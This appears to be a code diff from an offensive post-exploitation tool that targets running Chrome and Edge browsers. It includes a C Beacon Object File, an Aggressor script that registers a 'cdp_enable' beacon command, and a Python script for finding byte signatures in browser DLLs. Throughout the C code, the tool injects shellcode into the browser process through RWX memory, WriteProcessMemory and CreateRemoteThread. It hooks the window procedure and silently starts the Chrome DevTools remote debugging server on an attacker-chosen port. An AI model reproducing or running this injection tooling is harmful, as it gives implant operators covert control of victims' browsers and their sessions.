if (!ReadProcessMemory(hProcess, module_base, &dos, sizeof(dos), &read) || read != sizeof(dos))
|
||||||
|
return FALSE;
|
||||||
|
if (dos.e_magic != IMAGE_DOS_SIGNATURE)
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
if (!ReadProcessMemory(hProcess, module_base + dos.e_lfanew, &nt, sizeof(nt), &read) || read != sizeof(nt))
|
||||||
|
return FALSE;
|
||||||
|
if (nt.Signature != IMAGE_NT_SIGNATURE)
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
section_hdr = module_base + dos.e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + nt.FileHeader.SizeOfOptionalHeader;
|
||||||
|
*text_base = NULL;
|
||||||
|
*rdata_base = NULL;
|
||||||
|
|
||||||
|
for (i = 0; i < nt.FileHeader.NumberOfSections; i++) {
|
||||||
|
if (!ReadProcessMemory(hProcess, section_hdr + (i * sizeof(IMAGE_SECTION_HEADER)),
|
||||||
|
§ion, sizeof(section), &read) || read != sizeof(section))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (section.Name[0] == '.' && section.Name[1] == 't' && section.Name[2] == 'e' &&
|
||||||
|
section.Name[3] == 'x' && section.Name[4] == 't') {
|
||||||
|
*text_base = module_base + section.VirtualAddress;
|
||||||
|
*text_size = section.Misc.VirtualSize;
|
||||||
|
} else if (section.Name[0] == '.' && section.Name[1] == 'r' && section.Name[2] == 'd' &&
|
||||||
|
section.Name[3] == 'a' && section.Name[4] == 't' && section.Name[5] == 'a') {
|
||||||
|
*rdata_base = module_base + section.VirtualAddress;
|
||||||
|
*rdata_size = section.Misc.VirtualSize;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return (*text_base != NULL && *rdata_base != NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void* ScanRemoteForSignature(HANDLE hProcess, uint8_t* start, SIZE_T size,
|
||||||
|
const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len) {
|
||||||
|
const SIZE_T chunk = 0x10000;
|
||||||
|
SIZE_T offset = 0;
|
||||||
|
uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk + sig_len);
|
||||||
|
if (!buf) return NULL;
|
||||||
|
|
||||||
|
while (offset < size) {
|
||||||
|
SIZE_T to_read = size - offset;
|
||||||
|
SIZE_T read = 0, end, i;
|
||||||
|
if (to_read > chunk) to_read = chunk;
|
||||||
|
|
||||||
|
if (!ReadProcessMemory(hProcess, start + offset, buf, to_read, &read) || read < sig_len) {
|
||||||
|
offset += chunk;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
end = read - sig_len;
|
||||||
|
for (i = 0; i <= end; i++) {
|
||||||
|
BOOL match = TRUE;
|
||||||
|
SIZE_T j;
|
||||||
|
for (j = 0; j < sig_len && match; j++) {
|
||||||
|
if (!mask || mask[j]) {
|
||||||
|
if (buf[i + j] != sig[j]) match = FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (match) {
|
||||||
|
void* found = start + offset + i;
|
||||||
|
HeapFree(GetProcessHeap(), 0, buf);
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
offset += chunk;
|
||||||
|
}
|
||||||
|
|
||||||
|
HeapFree(GetProcessHeap(), 0, buf);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ScanRemoteForAllSignatures(HANDLE hProcess, uint8_t* start, SIZE_T size,
|
||||||
|
const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len,
|
||||||
|
uint64_t* out_matches, int max_matches) {
|
||||||
|
const SIZE_T chunk = 0x10000;
|
||||||
|
SIZE_T offset = 0;
|
||||||
|
int count = 0;
|
||||||
|
uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk + sig_len);
|
||||||
|
if (!buf) return 0;
|
||||||
|
|
||||||
|
while (offset < size && count < max_matches) {
|
||||||
|
SIZE_T to_read = size - offset;
|
||||||
|
SIZE_T read = 0, end, i;
|
||||||
|
if (to_read > chunk) to_read = chunk;
|
||||||
|
|
||||||
|
if (!ReadProcessMemory(hProcess, start + offset, buf, to_read, &read) || read < sig_len) {
|
||||||
|
offset += chunk;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
end = read - sig_len;
|
||||||
|
for (i = 0; i <= end && count < max_matches; i++) {
|
||||||
|
BOOL match = TRUE;
|
||||||
|
SIZE_T j;
|
||||||
|
for (j = 0; j < sig_len && match; j++) {
|
||||||
|
if (!mask || mask[j]) {
|
||||||
|
if (buf[i + j] != sig[j]) match = FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (match) {
|
||||||
|
out_matches[count++] = (uint64_t)(uintptr_t)(start + offset + i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
offset += chunk;
|
||||||
|
}
|
||||||
|
|
||||||
|
HeapFree(GetProcessHeap(), 0, buf);
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void* FindVtableInRdata(HANDLE hProcess, uint8_t* rdata_base, SIZE_T rdata_size,
|
||||||
|
uint64_t* destr_addrs, int destr_count, uint64_t entry1_addr,
|
||||||
|
uint8_t* text_base, SIZE_T text_size) {
|
||||||
|
const SIZE_T chunk = 0x10000;
|
||||||
|
SIZE_T offset = 0;
|
||||||
|
uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk);
|
||||||
|
if (!buf) return NULL;
|
||||||
|
|
||||||
|
while (offset < rdata_size) {
|
||||||
|
SIZE_T to_read = rdata_size - offset;
|
||||||
|
SIZE_T read = 0, end, i;
|
||||||
|
if (to_read > chunk) to_read = chunk;
|
||||||
|
|
||||||
|
if (!ReadProcessMemory(hProcess, rdata_base + offset, buf, to_read, &read) || read < 16) {
|
||||||
|
offset += chunk;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
end = (read >= 16) ? (read - 16) : 0;
|
||||||
|
for (i = 0; i <= end; i += 8) {
|
||||||
|
uint64_t first = *(uint64_t*)(buf + i);
|
||||||
|
uint64_t second = *(uint64_t*)(buf + i + 8);
|
||||||
|
if (second == entry1_addr && destr_count > 0) {
|
||||||
|
int di;
|
||||||
|
for (di = 0; di < destr_count; di++) {
|
||||||
|
if (first == destr_addrs[di]) {
|
||||||
|
void* found = rdata_base + offset + i;
|
||||||
|
HeapFree(GetProcessHeap(), 0, buf);
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
offset += chunk;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (destr_count <= 0) {
|
||||||
|
int hits = 0;
|
||||||
|
void* candidate = NULL;
|
||||||
|
|
||||||
|
offset = 0;
|
||||||
|
while (offset < rdata_size) {
|
||||||
|
SIZE_T to_read = rdata_size - offset;
|
||||||
|
SIZE_T read = 0, end, i;
|
||||||
|
if (to_read > chunk) to_read = chunk;
|
||||||
|
|
||||||
|
if (!ReadProcessMemory(hProcess, rdata_base + offset, buf, to_read, &read) || read < 16) {
|
||||||
|
offset += chunk;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
end = (read >= 16) ? (read - 16) : 0;
|
||||||
|
for (i = 0; i <= end; i += 8) {
|
||||||
|
uint64_t first = *(uint64_t*)(buf + i);
|
||||||
|
uint64_t second = *(uint64_t*)(buf + i + 8);
|
||||||
|
if (second == entry1_addr &&
|
||||||
|
first >= (uint64_t)text_base &&
|
||||||
|
first < (uint64_t)(text_base + text_size)) {
|
||||||
|
hits++;
|
||||||
|
candidate = rdata_base + offset + i;
|
||||||
|
if (hits > 1) break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (hits > 1) break;
|
||||||
|
offset += chunk;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hits == 1) {
|
||||||
|
HeapFree(GetProcessHeap(), 0, buf);
|
||||||
|
return candidate;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
HeapFree(GetProcessHeap(), 0, buf);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOL ResolveSymbolsRuntime(HANDLE hProcess, uintptr_t module_base, const TARGET_CFG* target,
|
||||||
|
uintptr_t* start_server, uintptr_t* chrome_new, uintptr_t* factory_vtable) {
|
||||||
|
uint8_t* text_base = NULL;
|
||||||
|
uint8_t* rdata_base = NULL;
|
||||||
|
SIZE_T text_size = 0, rdata_size = 0;
|
||||||
|
void* entry1 = NULL;
|
||||||
|
uint64_t destr_addrs[32];
|
||||||
|
int destr_count = 0;
|
||||||
|
|
||||||
|
if (!GetRemoteSectionInfo(hProcess, (uint8_t*)module_base, &text_base, &text_size, &rdata_base, &rdata_size)) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read remote PE sections");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
*start_server = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, target->start_sig, target->start_mask, target->start_sig_len);
|
||||||
|
if (!*start_server) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature not found");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
*chrome_new = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, OPERATOR_NEW_SIG, OPERATOR_NEW_MASK, sizeof(OPERATOR_NEW_SIG));
|
||||||
|
if (!*chrome_new) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] operator new signature not found");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
entry1 = ScanRemoteForSignature(hProcess, text_base, text_size, target->entry1_sig, target->entry1_mask, target->entry1_sig_len);
|
||||||
|
if (!entry1) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] CreateForHttpServer signature not found");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
destr_count = ScanRemoteForAllSignatures(
|
||||||
|
hProcess, text_base, text_size, VTABLE_ENTRY0_SIG, VTABLE_ENTRY0_MASK, sizeof(VTABLE_ENTRY0_SIG),
|
||||||
|
destr_addrs, 32);
|
||||||
|
|
||||||
|
*factory_vtable = (uintptr_t)FindVtableInRdata(
|
||||||
|
hProcess, rdata_base, rdata_size, destr_addrs, destr_count, (uint64_t)(uintptr_t)entry1,
|
||||||
|
text_base, text_size);
|
||||||
|
if (!*factory_vtable) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] TCPServerSocketFactory vtable not found");
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void go(char* args, int len) {
|
||||||
|
TARGET_CFG targets[] = {
|
||||||
|
{ "edge", L"msedge.exe", L"msedge.dll", EDGE_START_SIG, NULL, sizeof(EDGE_START_SIG), EDGE_ENTRY1_SIG, NULL, sizeof(EDGE_ENTRY1_SIG) },
|
||||||
|
{ "chrome", L"chrome.exe", L"chrome.dll", CHROME_START_SIG, CHROME_START_MASK, sizeof(CHROME_START_SIG), CHROME_ENTRY1_SIG, CHROME_ENTRY1_MASK, sizeof(CHROME_ENTRY1_SIG) }
|
||||||
|
};
|
||||||
|
datap parser;
|
||||||
|
TARGET_CFG* target = NULL;
|
||||||
|
DWORD pid = 0;
|
||||||
|
HWND hwnd;
|
||||||
|
uintptr_t browser_base = 0;
|
||||||
|
DWORD browser_size = 0;
|
||||||
|
HANDLE hProcess = NULL;
|
||||||
|
LPVOID remote_mem = NULL;
|
||||||
|
SIZE_T total_size = 0x1000;
|
||||||
|
unsigned char* local_page = NULL;
|
||||||
|
SIZE_T written = 0;
|
||||||
|
HANDLE hThread = NULL;
|
||||||
|
INSTALL_CTX install_ctx;
|
||||||
|
WNDPROC_CTX wnd_ctx;
|
||||||
|
uintptr_t set_window_long_ptr_a = 0;
|
||||||
|
uintptr_t install_stub_remote, wnd_stub_remote, install_ctx_remote, wnd_ctx_remote;
|
||||||
|
uintptr_t start_server = 0, chrome_new = 0, factory_vtable = 0;
|
||||||
|
DWORD exit_code = 0;
|
||||||
|
int port = 0;
|
||||||
|
int ti;
|
||||||
|
char* browser_arg = NULL;
|
||||||
|
int browser_len = 0;
|
||||||
|
|
||||||
|
BeaconPrintf(CALLBACK_OUTPUT, "=== CDP-Enabler-BOF ===");
|
||||||
|
|
||||||
|
if (len <= 0) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] Missing required arguments. Expected: <chrome|edge> <port>");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
BeaconDataParse(&parser, args, len);
|
||||||
|
browser_arg = BeaconDataExtract(&parser, &browser_len);
|
||||||
|
if (!browser_arg || browser_len <= 0) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] Missing required browser argument. Expected: <chrome|edge>");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (BeaconDataLength(&parser) < 4) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] Missing required port argument.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
port = BeaconDataInt(&parser);
|
||||||
|
if (port <= 8999 || port > 65535) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] Invalid port: %d", port);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (ti = 0; ti < (int)(sizeof(targets)/sizeof(targets[0])); ti++) {
|
||||||
|
if (ascii_equals_literal(browser_arg, browser_len, targets[ti].browser_name)) {
|
||||||
|
target = &targets[ti];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!target) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] Invalid browser argument. Expected 'chrome' or 'edge'.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
pid = FindBrowserProcess(target->process_name);
|
||||||
|
if (!pid) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] %ls browser process was not found", target->process_name);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
BeaconPrintf(CALLBACK_OUTPUT, "[+] Target = %ls, PID %lu", target->process_name, (unsigned long)pid);
|
||||||
|
|
||||||
|
hwnd = FindBrowserWindowForPid(pid);
|
||||||
|
if (!hwnd) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] Could not find top-level browser window");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
BeaconPrintf(CALLBACK_OUTPUT, "[+] Browser window 0x%p", hwnd);
|
||||||
|
|
||||||
|
if (!GetRemoteModule(pid, target->module_name_w, &browser_base, &browser_size)) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] Could not locate target DLL in browser");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
BeaconPrintf(CALLBACK_OUTPUT, "[+] %ls base = 0x%p", target->module_name_w, (void*)browser_base);
|
||||||
|
|
||||||
|
if (!GetRemoteSystemProc(pid, L"user32.dll", "SetWindowLongPtrA", &set_window_long_ptr_a)) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] Could not resolve remote SetWindowLongPtrA");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
||||||
|
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
|
||||||
|
FALSE, pid);
|
||||||
|
if (!hProcess) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] OpenProcess failed: %lu", (unsigned long)GetLastError());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ResolveSymbolsRuntime(hProcess, browser_base, target, &start_server, &chrome_new, &factory_vtable)) {
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
BeaconPrintf(CALLBACK_OUTPUT, "[+] StartRemoteDebuggingServer = 0x%p", (void*)start_server);
|
||||||
|
BeaconPrintf(CALLBACK_OUTPUT, "[+] operator new = 0x%p", (void*)chrome_new);
|
||||||
|
BeaconPrintf(CALLBACK_OUTPUT, "[+] factory vtable = 0x%p", (void*)factory_vtable);
|
||||||
|
|
||||||
|
remote_mem = VirtualAllocEx(hProcess, NULL, total_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
if (!remote_mem) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] VirtualAllocEx failed: %lu", (unsigned long)GetLastError());
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
local_page = (unsigned char*)HeapAlloc(GetProcessHeap(), 0, total_size);
|
||||||
|
if (!local_page) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] HeapAlloc failed");
|
||||||
|
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
bof_memset(&install_ctx, 0, sizeof(install_ctx));
|
||||||
|
bof_memset(&wnd_ctx, 0, sizeof(wnd_ctx));
|
||||||
|
bof_memset(local_page, 0, total_size);
|
||||||
|
|
||||||
|
install_ctx_remote = (uintptr_t)remote_mem + 0x000;
|
||||||
|
wnd_ctx_remote = (uintptr_t)remote_mem + 0x040;
|
||||||
|
install_stub_remote= (uintptr_t)remote_mem + 0x100;
|
||||||
|
wnd_stub_remote = (uintptr_t)remote_mem + 0x180;
|
||||||
|
|
||||||
|
install_ctx.hwnd = (UINT64)(uintptr_t)hwnd;
|
||||||
|
install_ctx.new_wndproc = (UINT64)wnd_stub_remote;
|
||||||
|
install_ctx.set_window_long_ptr_a = (UINT64)set_window_long_ptr_a;
|
||||||
|
|
||||||
|
wnd_ctx.old_wndproc = 0;
|
||||||
|
wnd_ctx.set_window_long_ptr_a = (UINT64)set_window_long_ptr_a;
|
||||||
|
wnd_ctx.start_remote_debugging_server = (UINT64)start_server;
|
||||||
|
wnd_ctx.chrome_new = (UINT64)chrome_new;
|
||||||
|
wnd_ctx.factory_vtable = (UINT64)factory_vtable;
|
||||||
|
wnd_ctx.port = (UINT32)port;
|
||||||
|
wnd_ctx.mode = 0;
|
||||||
|
|
||||||
|
bof_memcpy(local_page + 0x000, &install_ctx, sizeof(install_ctx));
|
||||||
|
bof_memcpy(local_page + 0x040, &wnd_ctx, sizeof(wnd_ctx));
|
||||||
|
bof_memcpy(local_page + 0x100, INSTALL_STUB, sizeof(INSTALL_STUB));
|
||||||
|
bof_memcpy(local_page + 0x180, WNDPROC_STUB_TEMPLATE, sizeof(WNDPROC_STUB_TEMPLATE));
|
||||||
|
PatchQword(local_page + 0x180, 7, (UINT64)wnd_ctx_remote);
|
||||||
|
|
||||||
|
if (!WriteProcessMemory(hProcess, remote_mem, local_page, total_size, &written) || written != total_size) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] WriteProcessMemory failed: %lu", (unsigned long)GetLastError());
|
||||||
|
HeapFree(GetProcessHeap(), 0, local_page);
|
||||||
|
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
hThread = CreateRemoteThread(hProcess, NULL, 0,
|
||||||
|
(LPTHREAD_START_ROUTINE)install_stub_remote,
|
||||||
|
(LPVOID)install_ctx_remote, 0, NULL);
|
||||||
|
if (!hThread) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] CreateRemoteThread(install) failed: %lu", (unsigned long)GetLastError());
|
||||||
|
HeapFree(GetProcessHeap(), 0, local_page);
|
||||||
|
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
WaitForSingleObject(hThread, 5000);
|
||||||
|
GetExitCodeThread(hThread, &exit_code);
|
||||||
|
CloseHandle(hThread);
|
||||||
|
hThread = NULL;
|
||||||
|
BeaconPrintf(CALLBACK_OUTPUT, "[+] Install stub exit code: %lu", (unsigned long)exit_code);
|
||||||
|
|
||||||
|
if (!ReadProcessMemory(hProcess, (LPCVOID)install_ctx_remote, &install_ctx, sizeof(install_ctx), &written) ||
|
||||||
|
written != sizeof(install_ctx)) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] ReadProcessMemory(install_ctx) failed: %lu", (unsigned long)GetLastError());
|
||||||
|
HeapFree(GetProcessHeap(), 0, local_page);
|
||||||
|
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
BeaconPrintf(CALLBACK_OUTPUT, "[+] Original WndProc = 0x%p", (void*)(uintptr_t)install_ctx.old_wndproc);
|
||||||
|
|
||||||
|
wnd_ctx.old_wndproc = install_ctx.old_wndproc;
|
||||||
|
if (!WriteProcessMemory(hProcess, (LPVOID)wnd_ctx_remote, &wnd_ctx, sizeof(wnd_ctx), &written) ||
|
||||||
|
written != sizeof(wnd_ctx)) {
|
||||||
|
BeaconPrintf(CALLBACK_ERROR, "[-] WriteProcessMemory(wnd_ctx) failed: %lu", (unsigned long)GetLastError());
|
||||||
|
HeapFree(GetProcessHeap(), 0, local_page);
|
||||||
|
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
BeaconPrintf(CALLBACK_OUTPUT, "[*] Sending trigger message 0x%X", WM_START_CDP_REMOTE);
|
||||||
|
SendMessageA(hwnd, WM_START_CDP_REMOTE, 0, 0);
|
||||||
|
BeaconPrintf(CALLBACK_OUTPUT, "[+] Trigger sent. Validate with netstat or curl http://localhost:%d/json/version", port);
|
||||||
|
|
||||||
|
HeapFree(GetProcessHeap(), 0, local_page);
|
||||||
|
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
sub read_cdp_bof {
|
||||||
|
local('$handle $data');
|
||||||
|
$handle = openf(script_resource("cdp_enable_bof.o"));
|
||||||
|
$data = readb($handle, -1);
|
||||||
|
closef($handle);
|
||||||
|
if (strlen($data) == 0) {
|
||||||
|
berror($1, "could not read cdp_enable_bof.o");
|
||||||
|
}
|
||||||
|
return $data;
|
||||||
|
}
|
||||||
|
|
||||||
|
alias cdp_enable {
|
||||||
|
local('$browser $port $args');
|
||||||
|
|
||||||
|
if (size(@_) != 3) {
|
||||||
|
berror($1, beacon_command_detail("cdp_enable"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (barch($1) ne "x64") {
|
||||||
|
berror($1, "cdp_enable requires an x64 beacon");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$browser = lc($2);
|
||||||
|
$port = int($3);
|
||||||
|
|
||||||
|
if ($browser ne "edge" && $browser ne "chrome") {
|
||||||
|
berror($1, "browser must be 'edge' or 'chrome'");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($port <= 8999 || $port > 65535) {
|
||||||
|
berror($1, "port must be between 1 and 65535");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$args = bof_pack($1, "zi", $browser, $port);
|
||||||
|
btask($1, "Tasked beacon to enable CDP in $browser on port $port", "T1055");
|
||||||
|
beacon_inline_execute($1, read_cdp_bof($1), "go", $args);
|
||||||
|
}
|
||||||
|
|
||||||
|
beacon_command_register(
|
||||||
|
"cdp_enable",
|
||||||
|
"Enable Chrome DevTools Protocol in a running Chrome/Edge browser with the CDP BOF.",
|
||||||
|
"Usage: cdp_enable <edge|chrome> <port>"
|
||||||
|
);
|
||||||
@@ -0,0 +1,161 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import argparse
|
||||||
|
import contextlib
|
||||||
|
import io
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
import pefile
|
||||||
|
|
||||||
|
ROOT = Path(__file__).resolve().parent
|
||||||
|
sys.path.insert(0, str(ROOT))
|
||||||
|
|
||||||
|
from pe_signature_finder import analyze_symbols, demangle_symbol # type: ignore
|
||||||
|
|
||||||
|
|
||||||
|
# From the current CDP-Enabler project: the Chrome/Edge allocator used for the
|
||||||
|
# factory object. Wildcards are emitted as "." in the regex.
|
||||||
|
OPERATOR_NEW_REGEX = (
|
||||||
|
rb"\x40\x53\x48\x83\xEC\x20\x48\x8B\xD9\xEB."
|
||||||
|
rb"\x48\x8B\xCB\xE8....\x85\xC0\x74.\x48\x8B\xCB"
|
||||||
|
)
|
||||||
|
OPERATOR_NEW_SIGNATURE = "40 53 48 83 EC 20 48 8B D9 EB ?? 48 8B CB E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B CB"
|
||||||
|
|
||||||
|
KNOWN_ENTRY1_SIGNATURES = {
|
||||||
|
"msedge.dll": bytes.fromhex("48 89 D0 0F B7 51 08 48"),
|
||||||
|
"chrome.dll": bytes.fromhex(
|
||||||
|
"41 57 41 56 56 57 55 53 48 81 EC 88 00 00 00 48 89 D6 48 8B 05 07"
|
||||||
|
),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def get_section(pe, section_name: str):
|
||||||
|
for section in pe.sections:
|
||||||
|
name = section.Name.rstrip(b"\x00").decode("ascii", errors="ignore")
|
||||||
|
if name == section_name:
|
||||||
|
return section, section.get_data()
|
||||||
|
raise RuntimeError(f"{pe.filename} has no {section_name} section")
|
||||||
|
|
||||||
|
|
||||||
|
def find_unique_regex(pattern: bytes, data: bytes) -> int:
|
||||||
|
matches = [m.start() for m in re.finditer(pattern, data, re.S)]
|
||||||
|
if len(matches) != 1:
|
||||||
|
raise RuntimeError(f"expected exactly one match, got {len(matches)}")
|
||||||
|
return matches[0]
|
||||||
|
|
||||||
|
|
||||||
|
def choose_tcp_factory_entry1(pe_path: Path, pdb_path: Path):
|
||||||
|
with contextlib.redirect_stderr(io.StringIO()):
|
||||||
|
results = list(
|
||||||
|
analyze_symbols(
|
||||||
|
str(pe_path),
|
||||||
|
str(pdb_path),
|
||||||
|
"*CreateForHttpServer*",
|
||||||
|
min_sig=8,
|
||||||
|
max_sig=64,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
for result in results:
|
||||||
|
demangled = demangle_symbol(result.symbol.name)
|
||||||
|
if "TCPServerSocketFactory::CreateForHttpServer()" in demangled:
|
||||||
|
return result, demangled
|
||||||
|
|
||||||
|
raise RuntimeError("TCPServerSocketFactory::CreateForHttpServer was not found in the PDB")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Find the inputs needed to eventually call StartRemoteDebuggingServer."
|
||||||
|
)
|
||||||
|
parser.add_argument("pe", type=Path, help="Path to chrome.dll/msedge.dll")
|
||||||
|
parser.add_argument("pdb", type=Path, nargs="?", help="Optional path to matching PDB")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
pe = pefile.PE(str(args.pe))
|
||||||
|
image_base = pe.OPTIONAL_HEADER.ImageBase
|
||||||
|
text_section, text_data = get_section(pe, ".text")
|
||||||
|
rdata_section, rdata_data = get_section(pe, ".rdata")
|
||||||
|
|
||||||
|
operator_new_off = find_unique_regex(OPERATOR_NEW_REGEX, text_data)
|
||||||
|
operator_new_rva = text_section.VirtualAddress + operator_new_off
|
||||||
|
|
||||||
|
entry1_sig = KNOWN_ENTRY1_SIGNATURES.get(args.pe.name.lower())
|
||||||
|
if entry1_sig is None:
|
||||||
|
raise RuntimeError(f"no built-in CreateForHttpServer signature for {args.pe.name}")
|
||||||
|
|
||||||
|
entry1_off = find_unique_regex(re.escape(entry1_sig), text_data)
|
||||||
|
entry1_sig_rva = text_section.VirtualAddress + entry1_off
|
||||||
|
entry1_rva = entry1_sig_rva
|
||||||
|
entry1_va = image_base + entry1_rva
|
||||||
|
vtable_candidates = []
|
||||||
|
|
||||||
|
for offset in range(0, len(rdata_data) - 16 + 1, 8):
|
||||||
|
q0, q1 = struct.unpack_from("<QQ", rdata_data, offset)
|
||||||
|
if (
|
||||||
|
q1 == entry1_va
|
||||||
|
and image_base + text_section.VirtualAddress
|
||||||
|
<= q0
|
||||||
|
< image_base + text_section.VirtualAddress + text_section.Misc_VirtualSize
|
||||||
|
):
|
||||||
|
vtable_candidates.append(rdata_section.VirtualAddress + offset)
|
||||||
|
|
||||||
|
if not vtable_candidates:
|
||||||
|
raise RuntimeError("failed to derive TCPServerSocketFactory vtable from .rdata")
|
||||||
|
|
||||||
|
vtable_entry1_rva = vtable_candidates[0]
|
||||||
|
|
||||||
|
output = {
|
||||||
|
"binary": str(args.pe),
|
||||||
|
"operator_new": {
|
||||||
|
"rva": f"0x{operator_new_rva:08X}",
|
||||||
|
"va": f"0x{image_base + operator_new_rva:016X}",
|
||||||
|
"signature": OPERATOR_NEW_SIGNATURE,
|
||||||
|
},
|
||||||
|
"tcp_server_socket_factory": {
|
||||||
|
"create_for_http_server": {
|
||||||
|
"rva": f"0x{entry1_rva:08X}",
|
||||||
|
"va": f"0x{entry1_va:016X}",
|
||||||
|
"derived_vtable_entry1_candidates": [f"0x{candidate:08X}" for candidate in vtable_candidates],
